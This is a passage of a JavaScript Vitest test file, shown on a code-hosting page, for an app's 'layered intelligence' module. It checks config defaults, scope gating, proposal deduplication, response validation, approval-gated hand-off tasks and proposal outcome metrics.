Skip to content

Self-hosted, Self-Improving, Federated Everything App — dev management, agent orchestration, persistent mind, digital twin, second brain, and creative pipeline from a single dashboard over Tailscale to port the user into the OS

195 KB
Raw Blame
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { mkdtemp, readFile, writeFile, rm } from 'fs/promises';
import { tmpdir, homedir } from 'os';
import { join } from 'path';
import { extractTaskType } from './taskLearning/store.js';
import {
  defaultLayeredIntelligenceConfig,
  getEffectiveConfig,
  isScopeAllowed,
  PROPOSAL_SCOPES,
  PORTOS_ONLY_SCOPES,
  slugMarker,
  extractSlugFromBody,
  normalizeSlug,
  isProposalDuplicate,
  isIssueWithinDedupWindow,
  cosineSimilarity,
  findSemanticDuplicate,
  issueEmbedSeed,
  checkSemanticDuplicate,
  SEMANTIC_DEDUP_THRESHOLD,
  SEMANTIC_DEDUP_MAX_CANDIDATES,
  isAppParked,
  validateReasonerResponse,
  isHandoffEligible,
  buildHandoffTask,
  HANDOFF_COMPLEXITY,
  resolveBlockOnIssue,
  filerForTracker,
  trackerSupportsPause,
  buildPrompt,
  LI_PROPOSAL_PLAYBOOK,
  deriveOutcome,
  computeOutcomesReport,
  computeSelfEvalSummary,
  summarizeOutcomeStats,
  readLiTaskMetrics,
  LI_TASK_TYPE,
  LI_SCHEDULED_TASK_TYPE,
  SELF_EVAL_MAX_SUPPRESSED_LISTED,
  describeSuppressedIssue,
  suppressedIssueSlug,
  rejectionReasonBySlug,
  LI_DEGRADED_SUCCESS_THRESHOLD,
  LI_DEGRADED_MIN_SAMPLE,
  LI_DELIVERY_MIN_SAMPLE,
  LI_HARD_GATE_DELIVERY_THRESHOLD,
  computeScopeAwareness,
  computeExecutionByDomain,
  computePostApprovalCompletion,
  computeProposalOutcomeMetrics,
  computeDeliveryMetrics,
  computeDeliveryThrottle,
  formatDeliveryThrottleGuidance,
  renderCosMetricsSource,
  renderChurnSignals,
  COS_METRICS_MAX_CHARS,
  computeProposalExecutionAwareness,
  computeCrossReferenceAnalysis,
  computeHandoffRouting,
  computeHardExclusionGate,
  computeHardExclusionNotice,
  computeLiExecutionHealth,
  LI_HARD_GATE_EXECUTION_THRESHOLD,
  SELF_IMPROVE_SCOPES,
  PROPOSAL_EXECUTION_MIN_SAMPLE,
  SCOPE_AVOID_SUCCESS_THRESHOLD,
  SCOPE_PREFER_SUCCESS_THRESHOLD,
  SCOPE_AWARENESS_MIN_SAMPLE,
  SCOPE_AWARENESS_MAX_PER_LIST,
  PROPOSAL_OUTCOMES,
  extractPlanSlugs,
  appendProposalToPlan,
  gatherSources,
  customSourceKey,
  fetchHttpSource,
  runShellCommand,
  getTrustShellSources,
  normalizeIssueState,
  listForgeIssues,
  extractClosingComment,
  extractImplementingPr,
  repoSlugFromUrl,
  readImplementingPrState,
  listBlockingIssues,
  fileProposalToForge,
  ensureForgeLabels,
  applyBlockingLabel,
  normalizeJiraState,
  listJiraIssues,
  listJiraBlockingIssues,
  fileProposalToJira,
  resolveJiraBlockKey,
  applyJiraBlockingLabel,
  CLOSED_SUPPRESSION_MS,
  LI_LABEL,
  LI_BLOCKING_LABEL,
  LI_JIRA_BLOCKING_LABEL,
  LI_JOB_ID,
  normalizeIssueLabels,
  extractIssuePriority,
  extractPlannedPlanItems,
  formatPlannedWork,
  gatherPlannedWork,
  plannedWorkUnavailable,
  plannedWorkJql,
  PLANNED_WORK_LABEL,
  PLANNED_WORK_MAX_ITEMS,
  PLANNED_WORK_NONE,
  PLANNED_WORK_GUIDANCE,
  PLANNED_WORK_UNAVAILABLE_PREFIX,
  hasPlannedWorkListing,
  LOW_MERGE_RATE_THRESHOLD,
  LOW_MERGE_RATE_MIN_SAMPLE
} from './layeredIntelligence.js';

describe('defaultLayeredIntelligenceConfig', () => {
  it('is off by default with the app-owned sources on', () => {
    const c = defaultLayeredIntelligenceConfig(false);
    expect(c.enabled).toBe(false);
    expect(c.sources.goals).toBe(true);
    expect(c.sources.appMetrics).toBe(true); // the app's own performance metrics
    expect(c.sources.custom).toEqual([]);
  });

  it('caps non-PortOS apps at app scopes only', () => {
    const c = defaultLayeredIntelligenceConfig(false);
    expect(c.allowedScopes).toEqual(['app-improvement', 'app-data-gap']);
    expect(c.allowedScopes).not.toContain('loop-meta');
    expect(c.allowedScopes).not.toContain('portos-self');
  });

  it('grants PortOS the meta/self scopes', () => {
    const c = defaultLayeredIntelligenceConfig(true);
    expect(c.allowedScopes).toContain('loop-meta');
    expect(c.allowedScopes).toContain('portos-self');
  });

  it('ships the Engine-A hand-off off by default', () => {
    expect(defaultLayeredIntelligenceConfig(false).handoff).toEqual({ enabled: false });
    expect(defaultLayeredIntelligenceConfig(true).handoff).toEqual({ enabled: false });
  });

  it('defaults the outcomes feedback source on for PortOS, off for managed apps', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.outcomes).toBe(false);
    expect(defaultLayeredIntelligenceConfig(true).sources.outcomes).toBe(true);
  });

  it('defaults the selfEval source on for PortOS, off for managed apps (#2700)', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.selfEval).toBe(false);
    expect(defaultLayeredIntelligenceConfig(true).sources.selfEval).toBe(true);
  });

  it('defaults cosMetrics on for PortOS, off for managed apps (it is a PortOS-side agent-perf metric)', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.cosMetrics).toBe(false);
    expect(defaultLayeredIntelligenceConfig(true).sources.cosMetrics).toBe(true);
  });

  it('defaults the appMetrics (own-performance) source on for every app', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.appMetrics).toBe(true);
    expect(defaultLayeredIntelligenceConfig(true).sources.appMetrics).toBe(true);
  });

  it('defaults PortOS product-engagement metrics on only for the PortOS app', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.productMetrics).toBe(false);
    expect(defaultLayeredIntelligenceConfig(true).sources.productMetrics).toBe(true);
  });
});

describe('getEffectiveConfig', () => {
  it('returns defaults for an app with no stored config', () => {
    expect(getEffectiveConfig({ name: 'X' })).toEqual(defaultLayeredIntelligenceConfig(false));
  });

  it('merges sources one level deep (partial toggle does not wipe others)', () => {
    const c = getEffectiveConfig({ layeredIntelligence: { sources: { goals: false } } });
    expect(c.sources.goals).toBe(false);
    expect(c.sources.appMetrics).toBe(true); // untouched default preserved
    expect(c.sources.planMd).toBe(true);
  });

  it('uses PortOS scopes when isPortos is set and none stored', () => {
    const c = getEffectiveConfig({ isPortos: true });
    expect(c.allowedScopes).toContain('portos-self');
  });

  it('honors a stored allowedScopes override', () => {
    const c = getEffectiveConfig({ layeredIntelligence: { allowedScopes: ['app-improvement'] } });
    expect(c.allowedScopes).toEqual(['app-improvement']);
  });

  it('repairs a non-array custom / allowedScopes', () => {
    const c = getEffectiveConfig({ layeredIntelligence: { sources: { custom: 'bad' }, allowedScopes: 'nope' } });
    expect(c.sources.custom).toEqual([]);
    expect(Array.isArray(c.allowedScopes)).toBe(true);
  });

  it('merges handoff one level deep (partial does not wipe default enabled)', () => {
    expect(getEffectiveConfig({ layeredIntelligence: { handoff: {} } }).handoff).toEqual({ enabled: false });
    expect(getEffectiveConfig({ layeredIntelligence: { handoff: { enabled: true } } }).handoff).toEqual({ enabled: true });
    // A junk (non-object) handoff falls back to the default.
    expect(getEffectiveConfig({ layeredIntelligence: { handoff: 'nope' } }).handoff).toEqual({ enabled: false });
  });
});

describe('LI_JOB_ID', () => {
  it('is the autonomous-job id the loop sweep runs under', () => {
    expect(LI_JOB_ID).toBe('job-layered-intelligence');
  });
});

describe('isScopeAllowed (scope-gating)', () => {
  const allowedPortos = ['app-improvement', 'app-data-gap', 'loop-meta', 'portos-self'];
  const allowedApp = ['app-improvement', 'app-data-gap'];

  it('allows an in-list app scope on a normal app', () => {
    expect(isScopeAllowed({ scope: 'app-improvement', allowedScopes: allowedApp, isPortos: false })).toBe(true);
  });

  it('rejects an unrecognized scope', () => {
    expect(isScopeAllowed({ scope: 'delete-everything', allowedScopes: allowedPortos, isPortos: true })).toBe(false);
  });

  it('rejects meta/self scopes on a non-PortOS app even if allowedScopes lists them', () => {
    for (const scope of PORTOS_ONLY_SCOPES) {
      // A hand-edited config that lists loop-meta on someone else's app must still be blocked.
      expect(isScopeAllowed({ scope, allowedScopes: allowedPortos, isPortos: false })).toBe(false);
    }
  });

  it('allows meta/self scopes only on PortOS', () => {
    for (const scope of PORTOS_ONLY_SCOPES) {
      expect(isScopeAllowed({ scope, allowedScopes: allowedPortos, isPortos: true })).toBe(true);
    }
  });

  it('rejects a scope not in allowedScopes', () => {
    expect(isScopeAllowed({ scope: 'app-data-gap', allowedScopes: ['app-improvement'], isPortos: false })).toBe(false);
  });
});

describe('slug helpers', () => {
  it('round-trips a slug marker', () => {
    expect(extractSlugFromBody(`text ${slugMarker('my-slug')} more`)).toBe('my-slug');
  });

  it('extracts nothing from a body with no marker', () => {
    expect(extractSlugFromBody('no marker here')).toBe(null);
  });

  it('normalizes messy slugs', () => {
    expect(normalizeSlug('  My Cool Feature!! ')).toBe('my-cool-feature');
    expect(normalizeSlug('already-good')).toBe('already-good');
  });

  it('returns null for empty/non-string slugs', () => {
    expect(normalizeSlug('')).toBe(null);
    expect(normalizeSlug('   ')).toBe(null);
    expect(normalizeSlug(null)).toBe(null);
    expect(normalizeSlug(42)).toBe(null);
  });
});

describe('isProposalDuplicate (dedup)', () => {
  const now = Date.parse('2026-07-07T00:00:00Z');

  it('suppresses when an OPEN issue carries the same slug', () => {
    const existing = [{ slug: 'add-metrics', state: 'open' }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(true);
  });

  it('suppresses when a CLOSED issue is within the 30-day window', () => {
    const closedAt = new Date(now - 10 * 24 * 60 * 60 * 1000).toISOString();
    const existing = [{ slug: 'add-metrics', state: 'closed', closedAt }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(true);
  });

  it('ALLOWS re-file when a closed issue is older than 30 days', () => {
    const closedAt = new Date(now - (CLOSED_SUPPRESSION_MS + 24 * 60 * 60 * 1000)).toISOString();
    const existing = [{ slug: 'add-metrics', state: 'closed', closedAt }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(false);
  });

  it('SUPPRESSES a checked PLAN item (closed with no closedAt — #2620)', () => {
    // A `- [x]` PLAN item reads as closed with no timestamp; it stays permanently
    // within the dedup window — a completed proposal never needs re-proposal —
    // and an unchecked `- [ ]` item (state: 'open') stays suppressed too.
    const closed = [{ slug: 'add-metrics', state: 'closed' }];
    const open = [{ slug: 'add-metrics', state: 'open' }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: closed, now })).toBe(true);
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: open, now })).toBe(true);
  });

  it('matches slug embedded in a body marker (no parsed slug field)', () => {
    const existing = [{ body: `stuff ${slugMarker('add-metrics')}`, state: 'open' }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(true);
  });

  it('does not suppress a different slug', () => {
    const existing = [{ slug: 'other-thing', state: 'open' }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(false);
  });

  it('is a no-op for a bad slug', () => {
    expect(isProposalDuplicate({ slug: '', existingIssues: [{ slug: 'x', state: 'open' }], now })).toBe(false);
  });

  it('normalizes both sides before comparing', () => {
    const existing = [{ slug: 'Add Metrics!', state: 'open' }];
    expect(isProposalDuplicate({ slug: 'add-metrics', existingIssues: existing, now })).toBe(true);
  });
});

describe('isAppParked (pause)', () => {
  it('is parked when at least one blocking issue is open', () => {
    expect(isAppParked([{ state: 'open' }, { state: 'closed' }])).toBe(true);
  });

  it('is not parked when all blocking issues are closed', () => {
    expect(isAppParked([{ state: 'closed' }])).toBe(false);
  });

  it('is not parked with no blocking issues', () => {
    expect(isAppParked([])).toBe(false);
  });
});

describe('validateReasonerResponse', () => {
  it('keeps a valid proposal and normalizes the slug', () => {
    const r = validateReasonerResponse({
      analysis: 'a',
      proposal: { scope: 'app-improvement', slug: 'Do The Thing', title: 'Do the thing', body: 'b', value: 'v' }
    });
    expect(r.proposal.slug).toBe('do-the-thing');
    expect(r.proposal.scope).toBe('app-improvement');
    expect(r.pause).toBe(null);
  });

  it('drops a proposal with an unrecognized scope', () => {
    const r = validateReasonerResponse({ proposal: { scope: 'nuke', slug: 'x', title: 'X' } });
    expect(r.proposal).toBe(null);
  });

  it('drops a proposal missing a title', () => {
    const r = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: 'x', title: '  ' } });
    expect(r.proposal).toBe(null);
  });

  it('drops a proposal with an empty slug', () => {
    const r = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: '!!', title: 'X' } });
    expect(r.proposal).toBe(null);
  });

  it('keeps a pause with an integer issue number', () => {
    const r = validateReasonerResponse({ pause: { blockOnIssue: 42, reason: 'blocked' } });
    expect(r.pause).toEqual({ blockOnIssue: 42, reason: 'blocked' });
  });

  it('keeps pause "this" ONLY when a proposal survives', () => {
    const withProp = validateReasonerResponse({
      proposal: { scope: 'app-improvement', slug: 'x', title: 'X' },
      pause: { blockOnIssue: 'this', reason: 'block on the new one' }
    });
    expect(withProp.pause).toEqual({ blockOnIssue: 'this', reason: 'block on the new one' });
  });

  it('drops pause "this" when there is no proposal to block on', () => {
    const r = validateReasonerResponse({ proposal: null, pause: { blockOnIssue: 'this', reason: 'x' } });
    expect(r.pause).toBe(null);
  });

  it('drops a pause with no reason', () => {
    const r = validateReasonerResponse({ pause: { blockOnIssue: 42, reason: '' } });
    expect(r.pause).toBe(null);
  });

  it('coerces a numeric-string issue number', () => {
    const r = validateReasonerResponse({ pause: { blockOnIssue: '17', reason: 'x' } });
    expect(r.pause.blockOnIssue).toBe(17);
  });

  it('handles garbage input without throwing', () => {
    expect(validateReasonerResponse(null)).toEqual({ analysis: '', proposal: null, pause: null, invalidFields: [] });
    expect(validateReasonerResponse('nope')).toEqual({ analysis: '', proposal: null, pause: null, invalidFields: [] });
    expect(validateReasonerResponse({ proposal: [], pause: [] }))
      .toEqual({ analysis: '', proposal: null, pause: null, invalidFields: ['proposal', 'pause'] });
  });

  it('normalizes proposal complexity + safe (defaults: null / false)', () => {
    const bare = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: 'x', title: 'X' } });
    expect(bare.proposal.complexity).toBe(null);
    expect(bare.proposal.safe).toBe(false);

    const trivial = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: 'x', title: 'X', complexity: 'trivial', safe: true } });
    expect(trivial.proposal.complexity).toBe('trivial');
    expect(trivial.proposal.safe).toBe(true);

    // Unknown complexity → null; a non-strict-true safe → false.
    const junk = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: 'x', title: 'X', complexity: 'epic', safe: 'yes' } });
    expect(junk.proposal.complexity).toBe(null);
    expect(junk.proposal.safe).toBe(false);
  });

  it('validates optional model/effort independently of complexity and of each other', () => {
    const bare = validateReasonerResponse({ proposal: { scope: 'app-improvement', slug: 'x', title: 'X' } });
    expect(bare.proposal.model).toBe(null);
    expect(bare.proposal.effort).toBe(null);
    expect(bare.proposal.goodFirstIssue).toBe(false);
    expect(bare.proposal.helpWanted).toBe(false);

    const offDiagonal = validateReasonerResponse({
      proposal: { scope: 'app-improvement', slug: 'x', title: 'X', complexity: 'complex', model: 'light', effort: 'max' }
    });
    expect(offDiagonal.proposal.complexity).toBe('complex');
    expect(offDiagonal.proposal.model).toBe('light');
    expect(offDiagonal.proposal.effort).toBe('max');

    const junk = validateReasonerResponse({
      proposal: { scope: 'app-improvement', slug: 'x', title: 'X', model: 'opus', effort: 'none', goodFirstIssue: 'yes' }
    });
    expect(junk.proposal.model).toBe(null);
    expect(junk.proposal.effort).toBe(null);
    expect(junk.proposal.goodFirstIssue).toBe(false);

    const contributor = validateReasonerResponse({
      proposal: { scope: 'app-improvement', slug: 'x', title: 'X', model: 'light', goodFirstIssue: true, helpWanted: true }
    });
    expect(contributor.proposal.goodFirstIssue).toBe(true);
    expect(contributor.proposal.helpWanted).toBe(true);
  });

  describe('invalidFields (#4166)', () => {
    it('reports a wrong-typed analysis and drops it', () => {
      const r = validateReasonerResponse({ analysis: 7 });
      expect(r.analysis).toBe('');
      expect(r.invalidFields).toEqual(['analysis']);
    });

    it('reports a supplied-but-unusable proposal', () => {
      expect(validateReasonerResponse({ proposal: { scope: 'nuke', slug: 'x', title: 'X' } }).invalidFields).toEqual(['proposal']);
      expect(validateReasonerResponse({ proposal: 'do the thing' }).invalidFields).toEqual(['proposal']);
    });

    it('reports a supplied-but-unusable pause', () => {
      expect(validateReasonerResponse({ pause: { blockOnIssue: 42, reason: '' } }).invalidFields).toEqual(['pause']);
      expect(validateReasonerResponse({ pause: { reason: 'no target' } }).invalidFields).toEqual(['pause']);
      // "this" with nothing to block on is malformed, not an empty answer.
      expect(validateReasonerResponse({ proposal: null, pause: { blockOnIssue: 'this', reason: 'x' } }).invalidFields).toEqual(['pause']);
    });

    it('does not double-report a "this" pause dropped as collateral of an invalid proposal', () => {
      // The pause is well-formed — it was dropped only because the proposal it pointed
      // at failed validation. One root cause, one report.
      const r = validateReasonerResponse({
        proposal: { scope: 'nuke', slug: 'x', title: 'X' },
        pause: { blockOnIssue: 'this', reason: 'block on the new one' }
      });
      expect(r.pause).toBe(null);
      expect(r.invalidFields).toEqual(['proposal']);
    });

    it('still reports a "this" pause that is itself malformed alongside a bad proposal', () => {
      // No reason → the pause is broken on its own terms, not collateral.
      const r = validateReasonerResponse({
        proposal: { scope: 'nuke', slug: 'x', title: 'X' },
        pause: { blockOnIssue: 'this', reason: '' }
      });
      expect(r.invalidFields).toEqual(['proposal', 'pause']);
    });

    it('treats an absent or explicitly-null field as absent, never malformed', () => {
      expect(validateReasonerResponse({ analysis: 'nothing to propose', proposal: null, pause: null }).invalidFields).toEqual([]);
      expect(validateReasonerResponse({ proposal: null }).invalidFields).toEqual([]);
      expect(validateReasonerResponse({ analysis: '' }).invalidFields).toEqual([]);
      expect(validateReasonerResponse({}).invalidFields).toEqual([]);
    });

    it('stays empty for a fully valid envelope', () => {
      const r = validateReasonerResponse({
        analysis: 'a',
        proposal: { scope: 'app-improvement', slug: 'x', title: 'X' },
        pause: { blockOnIssue: 'this', reason: 'block on the new one' }
      });
      expect(r.invalidFields).toEqual([]);
    });

    it('collects every unusable field, in envelope order', () => {
      const r = validateReasonerResponse({ analysis: [], proposal: {}, pause: 3 });
      expect(r.invalidFields).toEqual(['analysis', 'proposal', 'pause']);
    });
  });
});

describe('isHandoffEligible', () => {
  const trivialSafe = { complexity: HANDOFF_COMPLEXITY, safe: true };
  const on = { handoff: { enabled: true } };

  it('is eligible only when enabled + filed ref + trivial + safe', () => {
    expect(isHandoffEligible({ proposal: trivialSafe, config: on, filed: 42 })).toBe(true);
    expect(isHandoffEligible({ proposal: trivialSafe, config: on, filed: 'PROJ-7' })).toBe(true);
  });

  it('is NOT eligible when hand-off is disabled', () => {
    expect(isHandoffEligible({ proposal: trivialSafe, config: { handoff: { enabled: false } }, filed: 42 })).toBe(false);
    expect(isHandoffEligible({ proposal: trivialSafe, config: {}, filed: 42 })).toBe(false);
  });

  it('is NOT eligible without a concrete filed ref (plan-tracked apps)', () => {
    expect(isHandoffEligible({ proposal: trivialSafe, config: on, filed: null })).toBe(false);
    expect(isHandoffEligible({ proposal: trivialSafe, config: on, filed: '' })).toBe(false);
    expect(isHandoffEligible({ proposal: trivialSafe, config: on, filed: false })).toBe(false);
  });

  it('is NOT eligible unless BOTH trivial AND safe', () => {
    expect(isHandoffEligible({ proposal: { complexity: 'moderate', safe: true }, config: on, filed: 1 })).toBe(false);
    expect(isHandoffEligible({ proposal: { complexity: 'trivial', safe: false }, config: on, filed: 1 })).toBe(false);
    expect(isHandoffEligible({ proposal: null, config: on, filed: 1 })).toBe(false);
  });
});

describe('buildHandoffTask', () => {
  const app = { id: 'app-1', name: 'App One' };
  const proposal = { title: 'Fix the typo', body: 'change X to Y', value: 'clarity', slug: 'fix-typo' };

  it('builds an approval-gated internal task scoped to the app', () => {
    const t = buildHandoffTask({ app, proposal, issueRef: 42 });
    expect(t.approvalRequired).toBe(true);
    expect(t.app).toBe('app-1');
    expect(t.priority).toBe('MEDIUM');
    expect(t.description).toBe('LI hand-off: Fix the typo');
  });

  it('references the filed issue in the context (# for forge number, raw key for jira)', () => {
    expect(buildHandoffTask({ app, proposal, issueRef: 42 }).context).toContain('#42');
    const jira = buildHandoffTask({ app, proposal, issueRef: 'PROJ-7' }).context;
    expect(jira).toContain('PROJ-7');
    expect(jira).toContain('change X to Y'); // carries the proposal body
  });

  it('stamps the proposal identity + domain for per-domain execution tracking when recordExecution (#2765)', () => {
    const t = buildHandoffTask({ app, proposal: { ...proposal, scope: 'loop-meta' }, issueRef: 42, recordExecution: true });
    expect(t.liProposal).toEqual({ appId: 'app-1', slug: 'fix-typo', scope: 'loop-meta' });
  });

  it('omits the execution marker when outcomes tracking is off (recordExecution false/absent) (#2765)', () => {
    // Honors the `outcomes` source toggle: a hand-off filed while tracking is off must
    // not carry a marker, or recordProposalExecution's fallback would create an orphan
    // outcome row the toggle says isn't tracked (codex P2).
    expect(buildHandoffTask({ app, proposal: { ...proposal, scope: 'loop-meta' }, issueRef: 42, recordExecution: false }).liProposal).toBeUndefined();
    expect(buildHandoffTask({ app, proposal: { ...proposal, scope: 'loop-meta' }, issueRef: 42 }).liProposal).toBeUndefined();
  });
});

describe('computeExecutionByDomain (#2765)', () => {
  it('groups executed proposals by their scope and computes per-domain success rate', () => {
    const byDomain = computeExecutionByDomain([
      { scope: 'loop-meta', executionOutcome: 'success' },
      { scope: 'loop-meta', executionOutcome: 'failure' },
      { scope: 'app-improvement', executionOutcome: 'success' }
    ]);
    // The loop-meta failure carries no failureCategory, so it lands in `unclassified`
    // rather than as a diagnosis; app-improvement had no failure at all.
    expect(byDomain['loop-meta']).toEqual({
      completed: 2, succeeded: 1, successRate: 50,
      failureSummary: { entries: [], unknown: 0, unclassified: 1, diagnosed: 0, total: 1 }
    });
    expect(byDomain['app-improvement']).toEqual({
      completed: 1, succeeded: 1, successRate: 100,
      failureSummary: { entries: [], unknown: 0, unclassified: 0, diagnosed: 0, total: 0 }
    });
  });

  it('buckets a "__proto__" scope as data instead of rewriting the prototype', () => {
    const byDomain = computeExecutionByDomain([
      { scope: '__proto__', executionOutcome: 'success' }
    ]);
    // A plain {} would swallow this key into the prototype: absent from
    // Object.entries yet truthy on lookup — inconsistent gate-vs-prompt views.
    expect(Object.keys(byDomain)).toEqual(['__proto__']);
    expect(byDomain['__proto__'].completed).toBe(1);
  });

  it('carries the dominant per-domain failure causes in failureSummary (#2764 §3)', () => {
    const byDomain = computeExecutionByDomain([
      { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
      { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'planning' },
      { scope: 'loop-meta', executionOutcome: 'failure', failureCategory: 'execution' },
      { scope: 'loop-meta', executionOutcome: 'success' }
    ]);
    expect(byDomain['loop-meta'].failureSummary).toEqual({
      entries: [{ category: 'planning', count: 2 }, { category: 'execution', count: 1 }],
      unknown: 0, unclassified: 0, diagnosed: 3, total: 3
    });
  });

  it('ignores records with no executionOutcome or no scope', () => {
    const byDomain = computeExecutionByDomain([
      { scope: 'loop-meta', executionOutcome: null },      // filed but never executed
      { scope: null, executionOutcome: 'success' },        // executed but domain unknown
      { executionOutcome: 'success' },                     // no scope key
      'nonsense',
      { scope: 'app-data-gap', executionOutcome: 'success' }
    ]);
    expect(Object.keys(byDomain)).toEqual(['app-data-gap']);
  });

  it('returns an empty map for a non-array / empty input', () => {
    expect(computeExecutionByDomain()).toEqual({});
    expect(computeExecutionByDomain(null)).toEqual({});
    expect(computeExecutionByDomain([])).toEqual({});
  });
});

describe('computePostApprovalCompletion (#2944)', () => {
  it('separates approved hand-off completion states and summarizes duration by scope', () => {
    const out = computePostApprovalCompletion([
      {
        scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success',
        filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z'
      },
      {
        scope: 'app-improvement', outcome: 'merged', executionOutcome: 'failure',
        filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T02:00:00.000Z'
      },
      {
        scope: 'app-data-gap', outcome: 'merged', executionOutcome: null,
        filedAt: '2026-07-01T00:00:00.000Z'
      },
      // Rejected proposals never enter the post-approval denominator.
      {
        scope: 'app-improvement', outcome: 'rejected', executionOutcome: 'success',
        filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T03:00:00.000Z'
      },
      // Invalid chronology must not poison duration telemetry.
      {
        scope: 'loop-meta', outcome: 'merged', executionOutcome: 'success',
        filedAt: '2026-07-02T00:00:00.000Z', executionAt: '2026-07-01T00:00:00.000Z'
      }
    ]);

    expect(out).toMatchObject({
      approved: 4,
      completed: 2,
      abandoned: 1,
      awaitingExecution: 1,
      attempted: 3
    });
    expect(out.completionRate).toBeCloseTo(200 / 3, 10);
    expect(out.duration).toEqual({
      count: 1,
      averageMs: 3_600_000,
      medianMs: 3_600_000,
      p90Ms: 3_600_000,
      minMs: 3_600_000,
      maxMs: 3_600_000
    });
    expect(out.byScope['app-improvement']).toMatchObject({
      approved: 2, completed: 1, abandoned: 1, awaitingExecution: 0, attempted: 2, completionRate: 50
    });
    expect(out.byScope['app-data-gap']).toMatchObject({
      approved: 1, completed: 0, abandoned: 0, awaitingExecution: 1, attempted: 0, completionRate: null
    });
  });

  it('calculates median and p90 from the completed duration distribution', () => {
    const filedAt = '2026-07-01T00:00:00.000Z';
    const out = computePostApprovalCompletion([1, 2, 3, 4].map(hours => ({
      scope: 'app-data-gap', outcome: 'merged', executionOutcome: 'success', filedAt,
      executionAt: `2026-07-01T${String(hours).padStart(2, '0')}:00:00.000Z`
    })));

    expect(out.duration).toEqual({
      count: 4,
      averageMs: 9_000_000,
      medianMs: 9_000_000,
      p90Ms: 14_400_000,
      minMs: 3_600_000,
      maxMs: 14_400_000
    });
  });

  it('divides approvalToCompletionRate by APPROVED, not attempted, and nulls it at zero approvals', () => {
    // 2 approved, 1 completed, 1 still awaiting execution: the attempted-only rate
    // reads a perfect 100% while only half the approved work has actually landed.
    const out = computePostApprovalCompletion([
      { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' },
      { scope: 'app-improvement', outcome: 'merged', executionOutcome: null, filedAt: '2026-07-01T00:00:00.000Z' }
    ]);
    expect(out.completionRate).toBe(100);
    expect(out.approvalToCompletionRate).toBe(50);
    expect(out.byScope['app-improvement'].approvalToCompletionRate).toBe(50);

    // Nothing approved → null, never 0 (the division-by-zero sentinel).
    const none = computePostApprovalCompletion([{ scope: 'loop-meta', outcome: 'rejected' }]);
    expect(none.approved).toBe(0);
    expect(none.approvalToCompletionRate).toBeNull();
  });
});

describe('computeProposalOutcomeMetrics (#3014)', () => {
  const RECORDS = [
    // Approved and delivered.
    { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' },
    // Approved, handed off, hand-off failed.
    { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'failure', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T02:00:00.000Z' },
    // Approved but LOST — never executed. The bucket a rejection tally can't see.
    { scope: 'app-data-gap', outcome: 'merged', executionOutcome: null, filedAt: '2026-07-01T00:00:00.000Z' },
    // Rejected outright, in a scope that never had an approval at all.
    { scope: 'loop-meta', outcome: 'rejected', filedAt: '2026-07-01T00:00:00.000Z' },
    // Closed for some other reason (filing-side abandonment).
    { scope: 'loop-meta', outcome: 'abandoned', filedAt: '2026-07-01T00:00:00.000Z' },
    // Still open — awaiting triage, not a failure.
    { scope: 'app-data-gap', outcome: null, filedAt: '2026-07-01T00:00:00.000Z' }
  ];

  it('rolls filing and execution outcomes into one metrics object', () => {
    const out = computeProposalOutcomeMetrics(RECORDS);
    expect(out).toMatchObject({
      totalFiled: 6,
      totalApproved: 3,
      totalCompleted: 1,
      totalRejected: 1,
      totalAbandonedAtFiling: 1,
      totalPending: 1,
      totalAwaitingExecution: 1,
      totalFailedExecution: 1
    });
    // 1 of 3 approved actually delivered — while the attempted-only rate reads 50%.
    expect(out.approvalToCompletionRate).toBeCloseTo(100 / 3, 10);
    expect(out.completionRate).toBe(50);
  });

  it('breaks down by scope, keeping scopes that were only ever rejected', () => {
    const { byScope } = computeProposalOutcomeMetrics(RECORDS);
    expect(byScope['app-improvement']).toMatchObject({
      approved: 2, completed: 1, rejected: 0, abandonedAtFiling: 0, failedExecution: 1,
      awaitingExecution: 0, attempted: 2, completionRate: 50, approvalToCompletionRate: 50
    });
    expect(byScope['app-data-gap']).toMatchObject({
      approved: 1, completed: 0, awaitingExecution: 1, pending: 1,
      completionRate: null, approvalToCompletionRate: 0
    });
    // A never-approved scope still appears, with null rates rather than a fake 0%.
    expect(byScope['loop-meta']).toMatchObject({
      approved: 0, completed: 0, rejected: 1, abandonedAtFiling: 1,
      completionRate: null, approvalToCompletionRate: null
    });
  });

  it('never counts a non-approved proposal towards completion (rate stays <= 100%)', () => {
    // A hand-off that succeeded for a REJECTED proposal is not evidence that approval
    // leads to delivery — letting it into the numerator would exceed 100%.
    const out = computeProposalOutcomeMetrics([
      { scope: 'app-improvement', outcome: 'merged', executionOutcome: 'success', filedAt: '2026-07-01T00:00:00.000Z', executionAt: '2026-07-01T01:00:00.000Z' },
